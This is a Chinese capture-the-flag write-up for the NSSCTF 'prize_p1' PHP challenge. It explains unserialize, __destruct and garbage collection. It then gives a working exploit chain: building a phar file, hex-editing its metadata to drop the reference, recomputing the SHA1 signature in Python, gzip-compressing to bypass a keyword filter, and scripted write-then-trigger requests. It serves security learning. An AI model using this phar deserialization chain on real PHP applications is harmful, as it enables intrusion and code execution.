本文主要是介绍prize_p1,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
这道题东西真的很多,看了大佬的wp学到了不少,几个笔记记录一下。
一、代码审计
源码:
<?php
highlight_file(__FILE__);
class getflag {function __destruct() {echo getenv("FLAG");}
}class A {public $config;function __destruct() {if ($this->config == 'w') {$data = $_POST[0];if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {die("我知道你想干吗,我的建议是不要那样做。");}file_put_contents("./tmp/a.txt", $data);} else if ($this->config == 'r') {$data = $_POST[0];if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {die("我知道你想干吗,我的建议是不要那样做。");}echo file_get_contents($data);}}
}
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {die("我知道你想干吗,我的建议是不要那样做。");
}
unserialize($_GET[0]);
throw new Error("那么就从这里开始起航吧");
首先是一个getflag
类,内容就是输出$FLAG
,触发条件为__destruct
;第二个类是A
,作用有两个,一个是写文件,一个是读文件,写入数据和读取对象都是POST[0]
然后就是对GET[0]
的关键字判断,通过后反序列化GET[0]
这里因为关键字对flag
有过滤,所以无法直接触发getflag
类;转眼去看A
类,既然有任意内容写入
+任意文件读取
+类
,优先考虑phar
,phar反序列化的基础利用请读者自行先去了解,这里不做介绍。
那我们的操作就是先利用A类的写文件功能写入一个phar文件,其中phar文件的metadata部分设置为getflag类,这样phar://读取之后,其中的metadata部分的数据就被反序列化,getflag就生成了,再最后程序结束触发__destruct获取flag
二、php对象
__destruct
是PHP对象的一个魔术方法,称为析构函数,顾名思义这是当该对象被销毁的时候自动执行的一个函数。其中以下情况会触发__destruct
- 主动调用
unset($obj)
- 主动调用
$obj = NULL
- 程序自动结束
我们很容易理解上述情况为什么会调用析构函数,因为这代表该对象要被清空了。除此之外,别忘了PHP拥有垃圾回收Garbage collection
即我们常说的GC
机制。
PHP中GC
使用引用计数和回收周期自动管理内存对象,那么这时候当我们的对象变成了“垃圾”,就会被GC
机制自动回收掉,回收过程中,就会调用函数的__destruct
。
刚才我们提到了引用计数,其实当一个对象没有任何饮用的时候,则会被视为“垃圾”,即
$a = new obj();
这是一个obj
对象,被a
变量应用,所以它不是“垃圾”。如果是
new obj();
或
$a = new obj();$a = 2;
上面都是对象没有被饮用或开始有饮用之后失去了引用的情况,我们可以考虑下列实例代码。
class obj {function __construct($i) {$this->i = $i; }function __destruct() { echo $this->i."Destroy...\n"; }
}
new obj('1');
$a = new obj('2');$a = new obj('3');
echo "————————————\n";
输出应该如下
1Destroy...
2Destroy...
————————————
3Destroy...
三、解题
1、
而我们这里明显看到倒数第二行有反序列化操作,但是没有任何引用,所以按照上述会在执行完毕之后处于unset
状态,会回收这个对象,即执行__destruct
,这一步通过调试可能更加清楚的看到执行流程。这样的话,我们便可以直接在这里写入数据。
O:1:"A":1:{s:6:"config";s:1:"w";}
这样就是写入文件操作了
2、
虽然我们可以写数据了,但是我们需要写什么数据了,显然下面有file_get_contents
可以利用,那么我们可以利用phar://
协议来进行反序列化。
生成phar文件:
<?phpclass getflag{}$user = new getflag();
$user = array(0=>$user,1=>null);
$phar = new Phar("shell.phar"); //生成一个phar文件,文件名为shell.phar
$phar-> startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER();?>"); //设置stub
$phar->setMetadata($user); //将对象user写入到metadata中
$phar->addFromString("shell.txt","haha"); //添加压缩文件,文件名字为shell.txt,内容为haha
$phar->stopBuffering();
(无法生成的话记得修改php.ini
中的phar的readonly
为off
并去掉这行前边的分号,具体操作百度)
解释一下为什么有一个array(0=>$user,1=>null)的操作,因为如果我们直接在phar文件的Metadata写getflag
对象的话,显然是不能进行反序列化的,因为他反序列化之后会被phar对象的metadata属性引用,不符合unset情况,也就不会直接执行__destruct,所以我们需要用GC来
进行执行__destruct
当phar://反序列化其中的数据时(反序列化时是按顺序执行的),先反出a[0]的数据,也就是a[0]=getflag类,再接着反序列化时,又将a[0]设为了NULL,那就和上述所说的一致了,getflag类被取消了引用,所以会触发__destruct,从而获得flag
但新的问题又随之产生了,我们在phar中无法生成上述的字符串内容,我们只能生成a:2:{i:0;O:7:"getflag":0:{}i:1;N;}
而这个不是我们想要的,所以我们把i:1改为i:0,这样就能取消getflag类的引用。
用010editor打开我们生成的phar文件,一定不要用记事本,不然到最后无法获取flag,因为如果你用记事本修改,实际上不止修改了你的数字,还有后面的签名和签名方法
3、
phar文件是修改成功了,但这个时候这个phar是处于损坏状态的,因为我们修改了前面的数据导致后面的签名对不上。这个时候,我们还需要手动计算出这个新phar文件的签名。
from hashlib import sha1f = open('/test/shell.phar', 'rb').read() # 修改内容后的phar文件s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMBopen('/test/newpoc.phar', 'wb').write(newf) # 写入新文件
根据自己的情况改一下路径即可。
4、
phar文件是生成好了,接下来就是上传和读取了,因为此时我们的phar文件依旧有明文存在,这里就是getflag,而由源码可知会被检查出来,这里用压缩的方法绕过
附上最后的exp
import requests
import gzip
import reurl = 'http://1.14.71.254:28016/'file = open("/test/newpoc.phar", "rb") #打开文件
file_out = gzip.open("/test/phar.zip", "wb+")#创建压缩文件对象
file_out.writelines(file)
file_out.close()
file.close()requests.post(url,params={0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'},data={0: open('/test/phar.zip', 'rb').read()}
) # 写入res = requests.post(url,params={0: 'O:1:"A":1:{s:6:"config";s:1:"r";}'},data={0: 'phar://tmp/a.txt'}
) # 触发
res.encoding='utf-8'
flag = re.compile('(NSSCTF\{.+?\})').findall(res.text)[0]
print(flag)
参考链接:[phar反序列化][NSSCTF]prize_p1_Snakin_ya的博客-CSDN博客
prize1 | bilala's blog (gitee.io)
这篇关于prize_p1的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!